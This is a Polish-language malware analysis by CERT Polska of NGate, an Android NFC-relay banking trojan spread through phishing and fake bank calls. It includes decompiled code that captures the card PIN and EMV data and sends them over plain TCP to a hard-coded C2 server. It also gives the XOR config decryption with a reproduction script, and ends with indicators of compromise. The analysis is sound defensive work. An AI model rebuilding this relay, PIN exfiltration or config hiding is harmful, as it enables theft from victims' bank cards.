Ostrzeżenia Zgłoś incydent
Ostrzeżenia Zgłoś incydent

Analiza kampanii złośliwego oprogramowania NGate (NFC relay)
03 listopada 2025 | Kacper Ratajczak | #nfc, #analysis, #android, #analiza

Zespół CERT Polska w ostatnich miesiącach zaobserwował nowe próbki mobilnego złośliwego oprogramowania powiązane z atakiem NFC Relay (NGate) wymierzonym w użytkowników polskich banków.

Podstawowe informacje

Celem ataku jest umożliwienie nieuprawnionych wypłat gotówki z bankomatów z wykorzystaniem kart płatniczych ofiar. Przestępcy nie kradną fizycznie karty - przekazują ruch NFC karty z telefonu ofiary do urządzenia przestępcy stojącego przy bankomacie.

Jak to działa?

Socjotechnika/phishing - Ofiara dostaje wiadomość phishingową (e-mail/SMS) o rzekomym problemie technicznym lub incydencie bezpieczeństwa. Link prowadzi na stronę, która nakłania do instalacji aplikacji na Androida. Analizowana przez nas próbka była dystrybuowana przez files[.]fm/u/yfwsanu886

email

Telefon od "pracownika" banku - Oszust dzwoni, podając się za pracownika banku, aby „potwierdzić tożsamość” i uwiarygodnić instalację aplikacji. Użytkownik otrzymuje też SMS potwierdzający tożsamość rzekomego pracownika.

email

W aplikacji ofiara jest proszona o zweryfikowanie swojej karty płatniczej bezpośrednio w interfejsie. Musi przyłożyć fizyczną kartę do telefonu (NFC), a następnie wpisać PIN karty na ekranowej klawiaturze. Poniżej przykładowe zrzuty pokazujące tę technikę w wielu próbkach celujących w różne banki.

sgb santander pko ing

Kiedy ofiara zbliża kartę do czytnika, aplikacja przechwytuje dane NFC karty (te same dane, które przepływają przez terminal/bankomat) i wysyła je przez Internet do urządzenia atakującego znajdującego się przy bankomacie ( lub do serwera Command&Control, który następnie wysyła je do urządzenia przy bankomacie). Urządzenie atakującego odtwarza te dane w bankomacie. Dzięki przekazanym danym karty i kodowi PIN atakujący wypłaca gotówkę.

Co znaleźliśmy w analizowanej próbce?

  • Aplikacja rejestruje się jako usługa płatnicza HCE (Host Card Emulation) w Androidzie (może zachowywać się jak wirtualna karta).
  • Adres serwera i jego działanie są ukryte w niewielkim zaszyfrowanym pliku dołączonym do aplikacji.
  • Odszyfrowaliśmy ten zasób i wydobyliśmy aktywny serwer c2:
    • IP/port: 91.84.97.13:5653
  • Interfejs zawiera klawiaturę PIN; PIN jest wysyłany do atakującego razem z danymi NFC.

Jak się chronić

  • Zawsze pobieraj aplikacje bankowe wyłącznie z oficjalnych sklepów (Google Play Store / App Store).
  • Jeśli dzwoni do Ciebie Twój bank i informuje, że dzieje się coś złego, rozłącz się i oddzwoń na numer banku. Ta metoda w 100% weryfikuje prawdziwość połączenia.

Analiza techniczna

Każda aplikacja na Androida zaczyna się od pliku AndroidManifest.xml. Definiuje on komponenty aplikacji, w tym działania, usługi i uprawnienia. W kontekście analizy kluczową informacją jest ustalenie punktu startowego aplikacji:

Manifest:

  • punkt startowy
<activity
    android:name="rha.dev.p031me.SuperMain"
    android:exported="true"
    android:launchMode="singleTask"
    android:screenOrientation="portrait"
    android:configChanges="screenSize|screenLayout|orientation|keyboardHidden">
    <intent-filter>
        <action android:name="android.intent.action.MAIN" />
        <category android:name="android.intent.category.DEFAULT" />
        <category android:name="android.intent.category.LAUNCHER" />
    </intent-filter>
</activity>
  • uprawnienia
<uses-permission android:name="android.permission.NFC" android:required="true"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" android:required="true"/>
<uses-permission android:name="android.permission.INTERNET" android:required="true"/>
  • usługa HCE
<service android:name="rha.dev.me.nfc.hce.ApduService"
         android:permission="android.permission.BIND_NFC_SERVICE"
         android:exported="true">
  <intent-filter>
    <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
    <category android:name="android.intent.category.DEFAULT"/>
  </intent-filter>
  <meta-data android:name="android.nfc.cardemulation.host_apdu_service"
             android:resource="@xml/hce"/>
</service>
  • Przykładowa deklaracja AID (skrócona):
<host-apdu-service ...>
  <aid-group android:category="payment" android:description="@string/app_name">
    <aid-filter android:name="F001020304050607" />
  </aid-group>
</host-apdu-service>

Wniosek: Aplikacja może zostać skonfigurowana jako usługa płatnicza HCE i będzie wywoływana przez stos NFC podczas komunikacji z terminalem/czytnikiem.

Start procesu

Po zainstalowaniu pliku APK i uruchomieniu procesu (np. po wybudzeniu go przez program uruchamiający/alias lub usługę) strona Java uruchamia natywną bibliotekę pomocniczą, która ładuje i weryfikuje konfigurację środowiska uruchomieniowego. Punktem wejścia do niej jest klasa rha.dev.me.util.Globals.

    static {
        System.loadLibrary("app"); //libapp.so
    }

    /* renamed from: a */
    public static String m29a() {
        Intent intent = new Intent("android.intent.action.MAIN");
        intent.addCategory("android.intent.category.LAUNCHER");
        List<ResolveInfo> queryIntentActivities = f476b.getPackageManager().queryIntentActivities(intent, 0);
        String packageName = f476b.getPackageName();
        for (ResolveInfo resolveInfo : queryIntentActivities) {
            if (resolveInfo.activityInfo.packageName.equals(packageName)) {
                return resolveInfo.activityInfo.name;
            }
        }
        return "rha.dev.me.SuperMain";
    }

    /* renamed from: b */
    public static void m28b(Context context) {
        f476b = context;
        init(context);
        loadNConfig(context, context.getAssets());
    }

    public static native void init(Context context);

    public static native void loadNConfig(Context context, AssetManager assetManager);

    public static native boolean reader();

    public static native boolean vts();

Podstawowa logika aplikacji jest inicjowana przez System.loadLibrary(„app”);, które ładuje libapp.so do procesu. Ten natywny obiekt odpowiada za kluczowe etapy: najpierw wyprowadza 32-bajtowy klucz z SHA-256 certyfikatu podpisującego APK (DER). Za pomocą tego klucza odszyfrowuje on hex blob pobrany z zasobu assets/____ aplikacji. Kolejny krok polega na analizowaniu par tekstowych klucz-wartość z tych odszyfrowanych danych i kompilowaniu ich do wewnętrznej mapy konfiguracyjnej.

Warto zauważyć, że kod implementuje mechanizm obronny: w przypadku niepowodzenia odszyfrowania lub analizy biblioteka wykonuje wywołanie zwrotne do języka Java w celu wyłączenia programu uruchamiającego - zachowanie to znane jest jako wzorzec safeExit(). Konfiguracja jest uruchamiana przez metodę Java m28b(Context). Metoda ta najpierw wywołuje natywną metodę init(context) w celu skonfigurowania podstawowego stanu współdzielonego, logowania i wewnętrznych zmiennych lokalnych wątku, a następnie wywołuje natywną metodę loadNConfig(context, context.getAssets()) w celu rozpoczęcia procesu odszyfrowywania. W większości kompilacji m28b jest wywoływana bardzo wcześnie - albo z Application.onCreate(), albo z pierwszej Activity.onCreate() - aby zapewnić gotowość niezbędnego gniazda komunikacyjnego w momencie wyświetlenia monitu „zweryfikuj kartę”.

Ponadto natywne flagi boolowskie reader() i vts() ujawniają bity konfiguracyjne (np. reader:=true, mode:=card), umożliwiając warstwie Java dynamiczne określenie, które metody transportu i role NFC należy aktywować.

Natywny moduł ładujący konfigurację (libapp.so) do C2 w postaci zwykłego tekstu

Istotne są dwa elementy natywne: wyprowadzanie klucza i moduł ładujący konfigurację.

Wyprowadzanie klucza (JNI → SHA-256 certyfikatu podpisu):

Zdekompilowana funkcja get_cert_sha(JNIEnv*, unsigned char* out) definiuje proces wyprowadzania klucza. Rozpoczyna się ona wywołaniem funkcji PackageManager.getPackageInfo(..., GET_SIGNATURES). Następnie odczytuje Signature.toByteArray() i opakowuje wynik za pomocą CertificateFactory(„X.509”).generateCertificate(InputStream). Następnie wywołuje funkcję cert.getEncoded() i oblicza skrót za pomocą MessageDigest(„SHA-256”).digest(encodedCert). Na koniec kopiuje wynikowe 32 bajty do out.

Wniosek: klucz XOR jest dokładnie taki sam jak SHA-256 certyfikatu podpisu aplikacji (DER).

Dekryptowanie i parsowanie konfiguracji

  1. AAssetManager_open("____", AASSET_MODE_BUFFER) - ładuje ASCII-hex blob z assets/____.
  2. hexToBytes() - zamiana na ciphertext binarny.
  3. deszyfrowywanie XOR bajt po bajcie przy użyciu 32-bajtowego klucza (powtarzającego się co 32 bajty): c for (i = 0; i < len; i++) pt[i] = ct[i] ^ key[i & 31];
  4. Parsuje tekst jawny linia po linii za pomocą getline; każda linia musi mieć postać key := value; każda para jest wstawiana do configMap i rejestrowana: c I/AppCheck: Parsed host := 91.84.97.13
  5. verifyCnf(env); jeśli coś się nie powiedzie → wywołaj Java safeExit() (co wyłącza program uruchamiający).

Odszyfrowana konfiguracja dla analizowanej próbki::

host:=91.84.97.13
port:=5653
sharedToken:=c2458bfc-9cb4-4998-b814-d3686b0fe088
tls:=false
mode:=card
reader:=true
uniqueID:=395406
ttd:=1761668025

Reprodukcja offline

#apksigner verify --print-certs SGB.apk
#Signer #1 certificate SHA-256 digest: b3a935de8a8be2ce2350fd90936b51650316475b478795ce9cf8ffaf6e765709

import binascii, pathlib
key = bytes.fromhex("b3a935de8a8be2ce2350fd90936b51650316475b478795ce9cf8ffaf6e765709")
ct  = bytes.fromhex(pathlib.Path(r"\path\to\asset\____").read_text().strip())
pt  = bytes(c ^ key[i % 32] for i, c in enumerate(ct))
print(pt.decode("utf-8", errors="replace"))

Otwarcie połączenia: host/port z JNI, protokół ramkowy

Łączność sieciowa jest zawarta w Transport i C0214a (połączenie i wątki). Uwaga: host/port pochodzą z JNI, tj. odszyfrowanej konfiguracji.

// rha.dev.p031me.net.transport.Transport (excerpt)
public abstract class Transport {
    private final String f412a = host();                 // JNI → "91.84.97.13"
    private final int    f413b = Integer.parseInt(port());// JNI → 5653
    public static native String host();
    public static native String port();

    public boolean m67b() {                              // connect-once
        if (f414c != null || f415d) return false;
        f415d = true;
        f414c = mo0d(f412a, f413b);                      // open socket
        mo1c();                                          // TLS hook (unused if tls=false)
        return true;
    }

    protected abstract Socket mo0d(String host, int port);
    protected abstract void   mo1c();
}

C0214a uruchamia wątek wysyłania i odbierania. To właśnie tam krystalizuje się kształt protokołu.

Wychodzące (client→server): len(4) | opcode(4) | body(len) Przychodzące (server→client): len(4) | body(len) (Kod operacyjny znajduje się wewnątrz ciała jako pole ServerData)

// p038y.C0256c — SendThread: exact wire format client→server
void mo2c() {
    C0253c msg = (C0253c) this.f526b.m123d().take();
    out.writeInt(msg.m6a().length);   // int32 len (BE)
    out.writeInt(msg.m5b());          // int32 opcode (BE)
    out.write(msg.m6a());             // body
    out.flush();
}
// p038y.C0255b — ReceiveThread: server→client is just length + bytes
void mo2c() {
    int len = in.readInt();
    if (len > 104857600) throw new IOException("Invalid protocol length");
    byte[] body = new byte[len];
    in.readFully(body);
    this.f526b.m120g(body);           // → NetMan.mo114b(byte[])
}

Wybór transportu (TCP vs TLS)

Aplikacja ukrywa tworzenie gniazd za Transport.d(host, port). Istnieją dwie implementacje:

// z/a.java  — plain TCP used when tls=false
public final class a extends Transport {
    @Override
    protected Socket d(String host, int port) throws IOException {
        return new Socket(host, port);
    }
}

// z/b.java  — TLS variant (not used in this sample)
public final class b extends Transport {
    @Override
    protected Socket d(String host, int port) throws IOException {
        SSLSocketFactory f = (SSLSocketFactory) SSLSocketFactory.getDefault();
        SSLSocket s = (SSLSocket) f.createSocket(host, port);
        s.startHandshake();                    // pinning/custom TrustManager appears elsewhere
        return s;
    }
}

Ramki są łatwe do podpisania na połączeniu, a ponieważ tls=false, payload jest w postaci zwykłego tekstu.

Dyspozytor: rola NetMan i historia opcode

NetMan koordynuje sesję: serializuje komunikaty wyższego poziomu (ServerData) i reaguje na odpowiedzi serwera. Można go traktować jako „mózg sesji”.

// rha.dev.p031me.net.NetMan (excerpt) — the one true outbox
private void m150H(ServerData.EnumC0219b op, byte[] data) {
    if (this.f402b == null) { /* queue until connected */ return; }

    byte[] payload = new ServerData()
        .m74g(op)                                                // opcode
        .m73h(sharedToken())                                     // JNI token
        .m72i(Globals.reader() ? ServerData.EnumC0218a.TYPE_READER
                               : ServerData.EnumC0218a.TYPE_EMITTER)
        .m75f(data != null ? data : new byte[0])                 // data blob
        .m71j();                                                 // native serialize

    this.f402b.m117j(Integer.parseInt(uniqueID()), payload);     // → SendThread
}

Po stronie wejścia blob z serwera jest parsowany do ServerData (natywnie). NetMan obsługuje synchronizację, walidację PIN, listy, kill-switch (ukryj aplikację), a także keepalive co 7 sekund (OP_PING).

public void mo114b(byte[] body) {
    ServerData m = ServerData.m76e(body);                // native parse
    switch (m.m78c()) {
        case OP_SYN:          m150H(ServerData.EnumC0219b.OP_ACK, null); break;
        case OP_PIN_VALID:    InterfaceC0039c.f64h.mo184i(true);  break;
        case OP_PIN_INVALID:  InterfaceC0039c.f64h.mo184i(false); break;
        case OP_PSH:          InterfaceC0039c.f61e.mo184i(new C0160a(m.m79b())); break; // APDUs
        case OP_SHUTDOWN_EMITTER: m134s(); m138o(); break;        // hide app & disconnect
        // ...
    }
    m155C(); // schedule OP_PING every 7s
}

Rejestracja NFC: tryb czytnika

Chociaż plik APK zawiera odpowiednią usługę HCE (emulacja karty), odszyfrowana konfiguracja ustawia reader=true, co aktywuje ścieżkę czytnika: telefon zachowuje się jak czytnik prawdziwej karty, którą ofiara przyłożyła do telefonu.

Fragment interfejsu użytkownika wyraźnie pokazuje tę ścieżkę: po rozpoznaniu metadanych karty wyświetla numer PAN, datę ważności i schemat (według AID).

// p025m0.FragmentC0191s — shows card details once recognized
private void m245w(C0068c c) {
    m248t(); // switch views
    this.f332d.setRectNumber(c.m460c());                     // PAN
    this.f332d.setRectDate(AbstractC0161b.m316d(c.m461b())); // YYMM → MM/YY
    // pick scheme image by AID
    this.f332d.setRectTypeImage(
        m260h(AbstractC0161b.m317c(((C0067b) c.m462a().get(0)).m467b()))
    );
}

private int m260h(String hexAid) {
    return hexAid.contains("A000000004") ? R.drawable.mc          // Mastercard
         : hexAid.contains("A000000003") ? R.drawable.visa_logo   // Visa
         : hexAid.contains("A000000658") ? R.drawable.logo_mir    // MIR
         : hexAid.contains("A000000333") ? R.drawable.union_pay_logo
         : R.drawable.logo_empty;
}

Pod maską parser EMV wypełnia obiekt C0068c (PAN, data ważności, AID). Gdy wszystko jest gotowe, NetMan umieszcza go w CardData i wysyła komunikat OP_CARD_DISCOVERED:

// rha.dev.p031me.net.NetMan
public void m154D(byte[] bArr) {
    m150H(ServerData.EnumC0219b.OP_CARD_DISCOVERED, bArr);
}

Informacje przesyłane przez sieć są wyraźnie określone w CardData: obejmują numer PAN, identyfikatory AID, datę ważności oraz (później) kod PIN.

// rha.dev.p031me.net.c2s.CardData (excerpt)
public class CardData {
    private List<String> cardAids;
    private String cardNumber, expiration, pin;
    private Boolean pinConfirmed;

    public byte[] m87l() {
        return toBytesNative(m97b(), (String[]) cardAids.toArray(new String[0]),
                             m95d(), m96c(), m94e()); // ← pin included
    }

    public native byte[] toBytesNative(String num, String[] aids,
                                       String pin, String exp, boolean confirmed);
}

Przechwytywanie kodu PIN: z klawiatury do scoketu w jednym kroku

Niestandardowa klawiatura PIN przechwytuje cyfry do specjalnego pola EditText. Po osiągnięciu wymaganej długości (domyślnie 4) publikuje pełny PIN na wewnętrznej szynie zdarzeń.

// rha.dev.p031me.pinlibrary.PinCodeField (excerpt)
public class PinCodeField extends EditText {
    class C0222b implements TextWatcher {
        public void afterTextChanged(final Editable e) {
            if (e.length() == PinCodeField.this.f429e) {     // default 4
                PinCodeField.this.postDelayed(() -> {
                    InterfaceC0039c.f62f.mo184i(e.toString()); // publish PIN
                }, 100L);
            }
        }
    }
}

Warstwa sieciowa nasłuchuje tego zdarzenia i natychmiast eksfiltruje kod PIN jako dedykowany kod opcode:

// rha.dev.p031me.net.NetMan
public void m153E(String str) {
    m150H(ServerData.EnumC0219b.OP_PIN_REQ, str.getBytes(StandardCharsets.UTF_8));
}

Serwer odpowiada komunikatem „OP_PIN_VALID” / „OP_PIN_INVALID” (reakcja interfejsu użytkownika), ale w tym momencie kod PIN opuścił już urządzenie. Dodatkowo, podczas serializacji blobu karty (CardData.m87l()), pole PIN może zostać tam również uwzględnione.

Usługa HCE: dowód zdolności „emitera”

Mimo że ta próbka działa jako czytnik, zawiera w pełni zadeklarowaną usługę HostApduService z identyfikatorem AID podobnym do płatności i bez wymogu odblokowania.

<!-- res/xml/hce.xml -->
<host-apdu-service
    android:description="@string/app_name"
    android:requireDeviceUnlock="false"
    android:apduServiceBanner="@mipmap/ic_launcher">
  <aid-group android:category="other">
    <aid-filter android:name="F001020304050607"/>
  </aid-group>
  <aid-group android:category="payment">
    <aid-filter android:name="F001020304050607"/>
  </aid-group>
</host-apdu-service>

Usługa rejestruje i przekazuje przychodzące komunikaty APDU (jako punkt końcowy przekaźnika), zwracając pustą odpowiedź:

// rha.dev.p031me.nfc.hce.ApduService (excerpt)
public class ApduService extends HostApduService {
    @Override public byte[] processCommandApdu(byte[] apdu, Bundle extras) {
        Log.d("ApduService", "APDU-IN: " + AbstractC0161b.m319a(apdu));
        C0160a wrapped = new C0160a(false, false, apdu);      // wrap APDU
        C0009i bus = C0009i.m547n();
        if (bus != null) bus.m545p(false, wrapped, this);     // forward upstream
        return new byte[0];                                    // pure relay
    }
}

Dlaczego to ma znaczenie? - NGate może pełnić dwie role:: 1. Czytnik wersja, w której ofiara zczytuje swoją kartę, 2. Emiter telefon przy bankomacie (HCE do terminala), połączony tym samym modelem kodu operacyjnego – klasyczna topologia NFC relay.

Summary

NGate to złośliwe oprogramowanie dla systemu Android, które wykorzystuje przekaźnik NFC do wypłacania gotówki z bankomatów przy użyciu kart ofiar. Jest ono dostarczane za pomocą phishingu oraz telefonu od „wsparcia bankowego”, który naciska na użytkownika, aby zainstalował aplikację, przyłożył kartę do telefonu i wprowadził PIN. Aplikacja działa w trybie czytnika, aby przechwycić EMV APDU i PIN, a następnie przesyła je za pomocą prostego protokołu TCP do zakodowanego na stałe C2; ta sama rodzina dostarcza również usługę HCE kategorii płatności, umożliwiającą pełnienie roli nadajnika w bankomacie. Konfiguracja jest przechowywana jako zasób zaszyfrowany algorytmem XOR z kluczem pochodzącym z certyfikatu podpisującego APK (SHA-256); w tej próbce prowadzi to do jawnego C2. Wniosek: po przyłożeniu karty i wpisaniu PINu napastnik może przekazać sesję i wypłacić gotówkę.

Kluczowe wnioski

  • Inżynieria społeczna → aplikacja pobrana z innego źródła → dotknięcie karty + PIN → przekazanie do bankomatu.
  • Obsługiwane role: czytnik (telefon ofiary) i emiter (telefon atakującego/strona bankomatu).
  • Konfiguracja odszyfrowana z zasobów /____ przy użyciu SHA-256(cert) jako klucza XOR.
  • Ramki tekstu jawnego w sieci (len|opcode|body), okresowe sygnały keep-alive.
  • Co opuszcza urządzenie: PAN, data ważności, AID, APDU i PIN.

IOC

2cee3f603679ed7e5f881588b2e78ddc
701e6905e1adf78e6c59ceedd93077f3
2cb20971a972055187a5d4ddb4668cc2
b0a5051df9db33b8a1ffa71742d4cb09
bcafd5c19ffa0e963143d068c8efda92
91.84.97.13:5653
files[.]fm/u/yfwsanu886
Udostępnij: